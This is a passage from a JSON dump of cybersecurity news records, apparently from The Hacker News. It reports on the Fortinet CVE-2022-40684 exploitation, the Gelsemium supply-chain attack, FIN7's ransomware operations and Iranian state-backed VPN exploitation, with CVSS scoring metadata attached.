Cybersecurity and Infrastructure Security Agency (CISA) to issue an advisory urging federal agencies to patch the issue by November 1, 2022.\n\nThreat intelligence firm GreyNoise has [detected](<https://viz.greynoise.io/tag/fortios-authentication-bypass-attempt?days=30>) 12 unique IP addresses weaponizing CVE-2022-40684 as of October 13, 2022, with a majority of them [located](<https://viz.greynoise.io/query/?gnql=cve%3ACVE-2022-40684>) in Germany, followed by the U.S., Brazil, China, and France.\n\nWordPress security company WordFence also said it [identified](<https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/>) probing attempts from 21 different IP addresses to \"determine whether a Fortinet appliance is in place,\" while also observing HTTP requests matching the PoC to add an SSH key to the admin user.\n\n**_Update:_** Amid a [huge uptick](<https://viz.greynoise.io/tag/fortios-authentication-bypass-attempt?days=30>) in vulnerability scans for the authentication bypass vulnerability, Fortinet on Friday released another advisory urging customers to upgrade affected appliances to the latest version as soon as possible.\n\n\"After multiple notifications from Fortinet over the past week, there are still a significant number of devices that require mitigation, and following the publication by an outside party of POC code, there is active exploitation of this vulnerability,\" the company [said](<https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2022-40684>).\n\nIssues in Fortinet devices have been previously targeted by attackers to gain an initial foothold onto target networks. [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>), which has remained one of the most weaponized flaws in recent years, prompted the firm to issue [three follow-up alerts](<https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html>) in August 2019, July 2020, and again in April 2021.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-14T03:35:00", "type": "thn", "title": "PoC Exploit Released for Critical Fortinet Auth Bypass Bug Under Active Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2022-40684"], "modified": "2022-10-15T02:56:36", "id": "THN:3474CD6C25ADD60FF37EDC1774311111", "href": "https://thehackernews.com/2022/10/poc-exploit-released-for-critical.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-10-12T16:30:00", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhe-JObfxreJe3voT0gU0S71E013xl9EJTptEvFiIYrrr0cMALdF9FZR1Rc20JN7zmeC4ZC5In7OgjeASatCBiVJAMoaOPzikA75p2359zbFIla4cniv7wHpmaLMdvm4vDQ1qBrj6xaxkI0kesF0zlPgDbBpWlIDP7pInkBzVTb9UE9n5Gq14Dnjpq2/s728-e100/firewall.jpg>)\n\nFortinet on Monday revealed that the newly patched critical security vulnerability impacting its firewall and proxy products is being actively exploited in the wild.\n\nTracked as [CVE-2022-40684](<https://thehackernews.com/2022/10/fortinet-warns-of-new-auth-bypass-flaw.html>) (CVSS score: 9.6), the flaw relates to an authentication bypass in FortiOS, FortiProxy, and FortiSwitchManager that could allow a remote attacker to perform unauthorized operations on the administrative interface via specially crafted HTTP(S) requests.\n\n\"Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device's logs: user='Local_Process_Access,'\" the company [noted](<https://www.fortiguard.com/psirt/FG-IR-22-377>) in an advisory.\n\nThe list of impacted devices is below -\n\n * FortiOS version 7.2.0 through 7.2.1\n * FortiOS version 7.0.0 through 7.0.6\n * FortiProxy version 7.2.0\n * FortiProxy version 7.0.0 through 7.0.6\n * FortiSwitchManager version 7.2.0, and\n * FortiSwitchManager version 7.0.0\n\nUpdates have been released by the security company in FortiOS versions 7.0.7 and 7.2.2, FortiProxy versions 7.0.7 and 7.2.1, and FortiSwitchManager version 7.2.1.\n\nThe disclosure comes days after Fortinet [sent](<https://thehackernews.com/2022/10/fortinet-warns-of-new-auth-bypass-flaw.html>) \"confidential advance customer communications\" to its customers, urging them to apply patches to mitigate potential attacks exploiting the flaw.\n\nIf updating to the latest version isn't an option, it's recommended that users disable the HTTP/HTTPS administrative interface, or alternatively limit IP addresses that can access the administrative interface.\n\n**_Update:_** The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday [added](<https://www.cisa.gov/uscert/ncas/current-activity/2022/10/11/cisa-has-added-one-known-exploited-vulnerability-catalog>) the Fortinet flaw to its Known Exploited Vulnerabilities ([KEV](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)) catalog, requiring federal agencies to apply patches by November 1, 2022.\n\nDetails and proof-of-concept (PoC) code for the vulnerability are [expected to become publicly available](<https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/>) in the coming days, in a move that could enable other threat actors to adopt the exploit to their toolset and mount their own attacks.\n\n\"Vulnerabilities affecting devices on the edge of corporate networks are among the most sought after by threat actors because it leads to breaching the perimeter, and CVE-2022-40684 allows exactly this,\" Zach Hanley, chief attack engineer at Horizon3.ai, said.\n\n\"Past Fortinet vulnerabilities, like [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>), have remained some of the [top exploited vulnerabilities](<https://thehackernews.com/2021/07/top-30-critical-security.html>) over the years and this one will likely be no different.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-11T06:21:00", "type": "thn", "title": "Fortinet Warns of Active Exploitation of Newly Discovered Critical Auth Bypass Bug", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2022-40684"], "modified": "2022-10-12T13:16:52", "id": "THN:63560DA43FB5804E3B258BC62E210EC4", "href": "https://thehackernews.com/2022/10/fortinet-warns-of-active-exploitation.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-05-09T12:37:57", "description": "[](<https://thehackernews.com/images/-2P9JF1_9yIc/YMdax55TYnI/AAAAAAAAC2o/YR05yeE9O-8JHf9oekreAzoMGSYXbsdlwCLcBGAsYHQ/s0/suppply-chain-cyberattack.jpg>)\n\nA new cyber espionage group named Gelsemium has been linked to a [supply chain attack targeting the NoxPlayer](<https://thehackernews.com/2021/02/a-new-software-supplychain-attack.html>) Android emulator that was disclosed earlier this year.\n\nThe findings come from a systematic analysis of multiple campaigns undertaken by the APT crew, with evidence of the earliest attack dating back all the way to 2014 under the codename [Operation TooHash](<https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf>) based on malware payloads deployed in those intrusions.\n\n\"Victims of these campaigns are located in East Asia as well as the Middle East and include governments, religious organizations, electronics manufacturers and universities,\" cybersecurity firm ESET [said](<https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/>) in an analysis published last week.\n\n\"Gelsemium's whole chain might appear simple at first sight, but the exhaustive configurations, implanted at each stage, modify on-the-fly settings for the final payload, making it harder to understand.\"\n\nTargeted countries include China, Mongolia, North and South Korea, Japan, Turkey, Iran, Iraq, Saudi Arabia, Syria, and Egypt.\n\nSince its origins in the mid-2010s, Gelsemium has been found employing a variety of malware delivery techniques ranging from spear-phishing documents exploiting Microsoft Office vulnerabilities ([CVE-2012-0158](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158>)) and watering holes to a remote code execution flaw in Microsoft Exchange Server \u2014 likely [CVE-2020-0688](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0688>), which was addressed by the Windows maker in [June 2020](<https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/>) \u2014 to deploy the [China Chopper](<https://attack.mitre.org/software/S0020/>) web shell.\n\n[](<https://thehackernews.com/images/-erpEkE7yQsA/YMdYTWXAq3I/AAAAAAAAC2g/aFWtWeFaNBkcFx5QqUn08XgGEREESzmBQCLcBGAsYHQ/s0/malware.jpg>)\n\nAccording to ESET, Gelsemium's first stage is a C++ dropper named \"Gelsemine,\" which deploys a loader \"Gelsenicine\" onto the target system, which, in turn, retrieves and executes the main malware \"**Gelsevirine**\" that's capable of loading additional plug-ins provided by the command-and-control (C2) server.\n\nThe adversary is said to have been behind a supply chain attack aimed at BigNox's NoxPlayer, in a campaign dubbed \"**Operation NightScout**,\" in which the software's update mechanism was compromised to install backdoors such as **Gh0st RAT** and **PoisonIvy RAT** to spy on its victims, capture keystrokes, and gather valuable information.\n\n\"Victims originally compromised by that supply chain attack were later being compromised by Gelsemine,\" ESET researchers Thomas Dupuy and Matthieu Faou noted, with similarities observed between the trojanized versions of NoxPlayer and Gelsemium malware.\n\nWhat's more, another backdoor called **Chrommme**, which was detected on an unnamed organization's machine also compromised by the Gelsemium group, used the same C2 server as that of Gelsevirine, raising the possibility that the threat actor may be sharing the attack infrastructure across its malware toolset.\n\n\"The Gelsemium biome is very interesting: it shows few victims (according to our telemetry) with a vast number of adaptable components,\" the researchers concluded. \"The plug-in system shows that developers have deep C++ knowledge.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-14T13:34:00", "type": "thn", "title": "NoxPlayer Supply-Chain Attack is Likely the Work of Gelsemium Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0158", "CVE-2020-0688"], "modified": "2021-06-14T13:34:33", "id": "THN:9B536B531E6948881A29BEC793495D1E", "href": "https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-26T12:10:08", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgu9YKd02vdFX9q7nH_mj_COAplqIClED8G3-bIqGZfD9uEAVx2YkW4pnR4oTHEKnrj9qtpM11W6mYLnGXvGxEt9IFdVd2PCh0jnop8BOe_IT_acIv-VKs3Q-JjeXkZPvJplINEolBZljwID-Ev26al_uOtbkyFHFd7atp9dyswl66CcZIVuWykjyr6wg/s728-rj-e365/cyber.png>)\n\nAn exhaustive analysis of **FIN7** has unmasked the cybercrime syndicate's organizational hierarchy, alongside unraveling its role as an affiliate for mounting ransomware attacks.\n\nIt has also exposed deeper associations between the group and the larger threat ecosystem comprising the now-defunct ransomware [DarkSide](<https://thehackernews.com/2022/05/us-proposes-1-million-fine-on-colonial.html>), [REvil](<https://thehackernews.com/2022/05/new-revil-samples-indicate-ransomware.html>), and [LockBit](<https://thehackernews.com/2022/11/amadey-bot-spotted-deploying-lockbit-30.html>) families.\n\nThe highly active threat group, also known as Carbanak, is [known](<https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html>) for employing an extensive arsenal of tools and tactics to expand its \"cybercrime horizons,\" including adding ransomware to its playbook and setting up fake security companies to lure researchers into conducting ransomware attacks under the guise of penetration testing.\n\nMore than 8,147 victims have been compromised by the financially motivated adversary across the world, with a majority of the entities located in the U.S. Other prominent countries include China, Germany, Canada, Italy, and the U.K.\n\nFIN7's intrusion techniques, over the years, have further diversified beyond traditional social engineering to include infected USB drives, software supply chain compromise, and the use of stolen credentials purchased from underground markets.\n\n\"Nowadays, its initial approach is to carefully pick high-value companies from the pool of already compromised enterprise systems and force them to pay large ransoms to restore their data or seek unique ways to monetize the data and remote access,\" PRODAFT [said](<https://www.prodaft.com/resource/detail/fin7-unveiled-deep-dive-notorious-cybercrime-gang>) in a report shared with The Hacker News.\n\nAccording to the Swiss cybersecurity company, the Russian-speaking hacking crew has also been observed to weaponize several flaws in Microsoft Exchange such as [CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>), [CVE-2021-42321](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>), [ProxyLogon, and ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) to obtain a foothold into target environments.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhXWJSj-lP5zgkimydTc-CwuBckZJpMoZ8KlEOqjTK1s14n8Ry6x7NcJHE6iuaC2p2llH7aphAnF9AGSkY-IMY3ofTAKq1rATS5XB5z-Fnxh6v2Lr3_wmyfCwBsAALRjmoyzwRDHWnMfGyS3UC_ftVWp1CnJeC09vF4HmeUbM2J0Y7BwIeouLTThKTe/s728-rj-e365/fin7.png>)\n\nThe use of [double extortion tactics](<https://thehackernews.com/2022/12/cuba-ransomware-extorted-over-60.html>) notwithstanding, attacks mounted by the group have deployed SSH backdoors on the compromised systems, even in scenarios where the victim has already paid a ransom.\n\nThe idea is to resell access to other ransomware outfits and re-target the victims as part of its illicit money-making scheme, underscoring its attempts to minimize efforts and maximize profits, not to mention prioritize companies based on their annual revenues, founded dates, and the number of employees.\n\nThis \"demonstrates a particular type of feasibility study considered a unique behavior among cybercrime groups,\" the researchers said.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1L6lSPfanTW7NwX9INlkaghoZj0MyjyyCHu7VJ2WOAB0-a8ipVazPaPiLkSPVkIBBeBrgcnwVzrKGh7hIH0N52sNHSgp7Vbg9K4Rqm_6NIALFtTqkkLtv6AkE8lDtTL7ZEb5WVXABPi3XMY0clFfTSBtJq_7t66O_imTe8dVlT7-vL0MHcB3e1LBL/s728-rj-e365/data.png>)\n\nPut differently, the modus operandi of FIN7 boils down to this: It utilizes services like Crunchbase, Dun &amp; Bradstreet (DNB), Owler, and Zoominfo to shortlist firms and organizations with the highest revenue. It also uses other website analytics platforms like MuStat and Similarweb to monitor traffic to the victims' sites.\n\nInitial access is then obtained through one of the many intrusion vectors, followed by exfiltrating data, encrypting files, and eventually determining the ransom amount based on the company's revenue.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhQwT6VXETxCd7gYcc7Yd03MnZ7nA_L948mXUJkAgn4SOwbIKEi30eZGf2YXgDN1QA6ak7etSe1368r_b5rgcDyV09jIQcKz5GDMmpp_UKs4886x6Kuq9llZuCFuz8reUq22aBAZ38FrxOOFeTSJLmECsaMukFx9rTLqxuCz3Zl5ijc2Cr1ucglgif1/s728-rj-e365/map.png>)\n\nThese infection sequences are also designed to load remote access trojans such as [Carbanak](<https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html>), [Lizar](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>) (aka Tirion), and [IceBot](<https://www.recordedfuture.com/fin7-flash-drives-spread-remote-access-trojan>), the latter of which was first documented by Recorded Future-owned Gemini Advisory in January 2022.\n\nOther tools developed and delivered by FIN7 encompass a module dubbed Checkmarks that's orchestrated to automate mass scans for vulnerable Microsoft Exchange servers and other public-facing web applications as well as [Cobalt Strike](<https://thehackernews.com/2022/11/google-identifies-34-cracked-versions.html>) for post-exploitation.\n\nIn yet another indication that criminal groups [function like traditional companies](<https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html>), FIN7 follows a team structure consisting of top-level management, developers, pentesters, affiliates, and marketing teams, each of whom are tasked with individual responsibilities.\n\nWhile two members named Alex and Rash are the chief players behind the operation, a third managerial member named Sergey-Oleg is responsible for delegating duties to the group's other associates and overseeing their execution.\n\nHowever, an examination of the group's Jabber conversation history has revealed that operators in administrator positions engage in coercion and blackmail to intimidate team members into working more and issue ultimatums to \"hurt their family members in case of resigning or escaping from responsibilities.\"\n\nThe findings come more than a month after cybersecurity company SentinelOne [identified](<https://thehackernews.com/2022/11/researchers-find-links-bw-black-basta.html>) potential links between FIN7 and the Black Basta ransomware operation.\n\n\"FIN7 has established itself as an extraordinarily versatile and well-known APT group that targets enterprise companies,\" PRODAFT concluded. \"Their signature move is to thoroughly research the companies based on their revenue, employee count, headquarters and website information to pinpoint the most profitable targets.\"\n\n\"Although they have internal issues related to the unequal distribution of obtained monetary resources and somewhat questionable practices towards their members, they have managed to establish a strong presence in the cybercrime sphere.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-22T13:13:00", "type": "thn", "title": "FIN7 Cybercrime Syndicate Emerges as a Major Player in Ransomware Landscape", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-42321"], "modified": "2022-12-26T11:59:04", "id": "THN:CE51F3F4A94EFC268FD06200BF55BECD", "href": "https://thehackernews.com/2022/12/fin7-cybercrime-syndicate-emerges-as.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:37", "description": "[](<https://thehackernews.com/images/-ZHqaACEm1IE/Xkv7mFYNdVI/AAAAAAAAABQ/u9DIxl0wBik0Tdeo0zYMA5h4Eycz0ntogCLcBGAsYHQ/s728-e100/iranian-apt-hacking-group.jpg>)\n\nA new report published by cybersecurity researchers has unveiled evidence of Iranian state-sponsored hackers targeting dozens of companies and organizations in Israel and around the world over the past three years. \n \nDubbed \"**Fox Kitten**,\" the cyber-espionage campaign is said to have been directed at companies from the IT, telecommunication, oil and gas, aviation, government, and security sectors. \n \n\"We estimate the campaign revealed in this report to be among Iran's most continuous and comprehensive campaigns revealed until now,\" ClearSky [researchers said](<https://www.clearskysec.com/fox-kitten/>). \n \n\"The revealed campaign was used as a reconnaissance infrastructure; however, it can also be used as a platform for spreading and activating destructive malware such as ZeroCleare and Dustman.\" \n \nTying the activities to threat groups APT33, APT34, and APT39, the offensive \u2014 conducted using a mix of open source and self-developed tools \u2014 also facilitated the groups to steal sensitive information and employ supply-chain attacks to target additional organizations, the researchers said. \n \n\n\n## Exploiting VPN Flaws to Compromise Enterprise Networks\n\n \nThe primary attack vector employed by the Iranian groups has been the exploitation of unpatched VPN vulnerabilities to penetrate and steal information from target companies. The prominent VPN systems exploited this way included Pulse Secure Connect ([CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>)), Palo Alto Networks' Global Protect ([CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>)), Fortinet FortiOS ([CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)), and Citrix ([CVE-2019-19781](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>)). \n \nClearSky noted that the hacking groups were able to successfully acquire access to the targets' core systems, drop additional malware, and laterally spread across the network by exploiting \"1-day vulnerabilities in relatively short periods of time.\" \n \n\n\n[](<https://thehackernews.com/images/-HB88FpLNx7E/Xkv6_Gs13XI/AAAAAAAAABE/sTXpiQuKh4w_qMLsMyuIs2xY7eNJONDHQCLcBGAsYHQ/s728-e100/Iranian-hackers-1.jpg>)\n\n \nUpon successfully gaining an initial foothold, the compromised systems were found to communicate with attacker-control command-and-control (C2) servers to download a series of custom VBScript files that can, in turn, be used to plant backdoors. \n \nFurthermore, the backdoor code in itself is downloaded in chunks so as to avoid detection by antivirus software installed on the infected computers. It's the job of a separate downloaded file \u2014 named \"combine.bat\" \u2014 to stitch together these individual files and create an executable. \n \nTo perform these tasks and achieve persistence, the threat actors exploited tools such as [Juicy Potato](<https://github.com/ohpe/juicy-potato>) and [Invoke the Hash](<https://github.com/Kevin-Robertson/Invoke-TheHash>) to gain high-level privileges and laterally move across the network. Some of the other tools developed by the attackers include: \n \n\n\n * STSRCheck - A tool for mapping databases, servers, and open ports in the targeted network and brute-force them by logging with default credentials.\n * Port.exe - A tool to scan predefined ports and servers.\n \nOnce the attackers gained lateral movement capabilities, the attackers move to the final stage: execute the backdoor to scan the compromised system for relevant information and exfiltrate the files back to the attacker by establishing a remote desktop connection (using a self-developed tool called POWSSHNET) or opening a socket-based connection to a hardcoded IP address. \n \n\n\n[](<https://thehackernews.com/images/-I5Tu4KNsPis/Xkv6nXcj6DI/AAAAAAAAAA8/E1cMYGuEIdsjFmfX7dXhnzRwfrgC0_dRACLcBGAsYHQ/s728-e100/Iranian-hackers.jpg>)\n\n \nIn addition, the attackers used [web shells](<https://www.us-cert.gov/ncas/alerts/TA15-314A>) in order to communicate with the servers located inside the target and upload files directly to a C2 server. \n \n\n\n## The Work of Multiple Iranian Hacking Groups\n\n \nBased on the campaign's use of web shells and overlaps with the attack infrastructure, the ClearSky report highlighted that the attacks against VPN servers are possibly linked to three Iranian groups \u2014 APT33 (\"Elfin\"), APT34 (\"OilRig\") and APT39 (Chafer). \n \nWhat's more, the researchers assessed that the campaign is a result of a \"cooperation between the groups in infrastructure,\" citing similarities in the tools and work methods across the three groups. \n \nJust last month, Iranian state-backed hackers \u2014 dubbed \"[Magnallium](<https://www.wired.com/story/iran-apt33-us-electric-grid>)\" \u2014 were discovered carrying out password-spraying attacks targeting US electric utilities as well as oil and gas firms. \n \nGiven that the attackers are weaponizing VPN flaws within 24 hours, it's imperative that organizations install security patches as and when they are available. \n \nAside from following the principle of least privilege, it also goes without saying that critical systems are monitored continuously and kept up to date. Implementing two-step authentication can go a long way towards minimizing unauthorized logins.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-02-18T15:06:00", "type": "thn", "title": "Iranian Hackers Exploiting VPN Flaws to Backdoor Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1579", "CVE-2019-19781"], "modified": "2020-02-18T15:13:08", "id": "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "href": "https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhKbdRreQ0Go0a6_nNV2mIHF-M4tF8ltZLh-zKh9XlGWei6N3zGQptPV2EVnu-c2aHwmgFtWbz4Xq0tDXGz3Z1dpDgiPu7RVWIwM8bhdGXus6httFDg3Syq5PSXHPDJiYhDv0KxH-eo9jncYNJb4pG6nA_987ryEtxPoAJr1RlSMcy7wdD0dNr3L2mW>)\n\nCybersecurity agencies from Australia, the U.K., and the U.S. on Wednesday [released](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) a joint advisory warning of active exploitation of Fortinet and Microsoft Exchange ProxyShell vulnerabilities by Iranian state-sponsored actors to gain initial access to vulnerable systems for follow-on activities, including data exfiltration and ransomware.\n\nThe threat actor is believed to have leveraged multiple Fortinet FortiOS vulnerabilities dating back to March 2021 as well as a remote code execution flaw affecting Microsoft Exchange Servers since at least October 2021, according to the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the Australian Cyber Security Centre (ACSC), and the U.K.'s National Cyber Security Centre (NCSC).\n\nThe agencies did not attribute the activities to a specific advanced persistent threat (APT) actor. Targeted victims include Australian organizations and a wide range of entities across multiple U.S. critical infrastructure sectors, such as transportation and healthcare. The list of flaws being exploited are below \u2014\n\n * [**CVE-2021-34473**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) (CVSS score: 9.1) - Microsoft Exchange Server remote code execution vulnerability (aka \"[ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>)\")\n * [**CVE-2020-12812**](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>) (CVSS score: 9.8) - [FortiOS SSL VPN 2FA bypass](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) by changing username case\n * [**CVE-2019-5591**](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>) (CVSS score: 6.5) - FortiGate [default configuration](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) does not verify the LDAP server identity\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - [FortiOS system file leak](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>) through SSL VPN via specially crafted HTTP resource requests\n\nBesides exploiting the ProxyShell flaw to gain access to vulnerable networks, CISA and FBI said they observed the adversary abusing a Fortigate appliance in May 2021 to gain a foothold to a web server hosting the domain for a U.S. municipal government. The next month, the APT actors \"exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children,\" the advisory said.\n\nThe development marks the second time the U.S. government has [alerted](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging CVE-2018-13379, 